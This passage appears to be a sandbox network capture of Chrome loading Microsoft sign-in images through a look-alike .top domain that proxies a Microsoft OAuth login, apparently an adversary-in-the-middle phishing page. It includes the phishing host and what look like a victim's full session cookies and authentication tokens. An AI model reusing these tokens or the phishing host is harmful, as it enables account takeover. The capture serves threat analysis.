esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
2024-04-25 18:37:05 UTC	735	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:37:05 GMT Content-Type: image/gif Content-Length: 3620 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373B17F89 x-ms-request-id: d36e36ee-101e-006f-773f-972ea3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240425T183703Z-174886c4d46964bl558tbsahes000000081g000000007epk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-25 18:37:05 UTC	3620	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 0f Data Ascii: GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	49770	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:37:04 UTC	2976	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
2024-04-25 18:37:05 UTC	741	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:37:05 GMT Content-Type: image/jpeg Content-Length: 987 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E322A911 x-ms-request-id: 057eba3b-701e-0069-7c3f-97d4af000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240425T183704Z-1556fcfc99ckqfb53u51yd1xp0000000081g0000000010n4 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-25 18:37:05 UTC	987	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: JFIFHHfExifMM*>F(1NHHpaint.net 4.2.9CC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	49771	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:37:04 UTC	2970	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
2024-04-25 18:37:05 UTC	743	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:37:05 GMT Content-Type: image/jpeg Content-Length: 17453 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E30A1202 x-ms-request-id: 137616d7-d01e-001b-1f3f-9770ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240425T183704Z-1556fcfc99cszcfk2kx2m35q5w00000000ng00000000amqy x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-25 18:37:05 UTC	15641	IN	Data Raw: ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e Data Ascii: Phttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syn
2024-04-25 18:37:05 UTC	1812	IN	Data Raw: 14 40 00 00 50 00 00 04 00 00 05 00 45 00 00 05 00 00 01 00 05 50 00 00 04 00 00 05 1f ff d3 db c0 6d cd 05 45 00 00 00 04 50 1c 8a 02 00 00 00 00 04 48 aa 0e 45 15 10 00 00 00 00 00 04 82 80 90 50 10 00 04 01 44 14 51 14 10 51 11 05 01 05 40 00 00 00 00 15 40 00 00 00 40 54 50 42 28 00 00 00 00 00 00 00 02 80 00 00 00 20 00 02 a2 8a 00 00 00 00 0a 02 00 00 00 02 28 00 8a 80 00 a0 02 0a 08 a8 28 08 a0 00 02 80 a8 22 80 88 a0 2a 28 00 02 00 28 20 a2 08 28 08 00 02 88 00 0a 82 80 8a 00 00 8a 00 00 08 00 00 02 00 00 00 0a 00 a8 a8 a0 82 a2 00 00 00 8a 00 a0 02 00 02 80 20 00 00 00 00 80 00 00 22 a0 a0 20 00 2a 2a 00 02 8a 80 8a 20 82 88 00 00 00 0a 00 a0 00 00 08 02 a8 8a 02 00 28 00 80 02 80 02 00 00 02 82 2a 28 00 02 80 00 00 8a 00 02 80 00 00 20 02 80 00 Data Ascii: @PEPmEPHEPDQQ@@@TPB( (("(( ( " * (*(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	49769	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:37:04 UTC	2967	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
2024-04-25 18:37:05 UTC	786	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:37:05 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373CB2849 x-ms-request-id: cac9db7c-501e-003f-303f-974d90000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240425T183704Z-174886c4d46dbqhhpwa79hh3yg00000007zg00000000h5v7 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-25 18:37:05 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49768	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:37:04 UTC	2964	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true 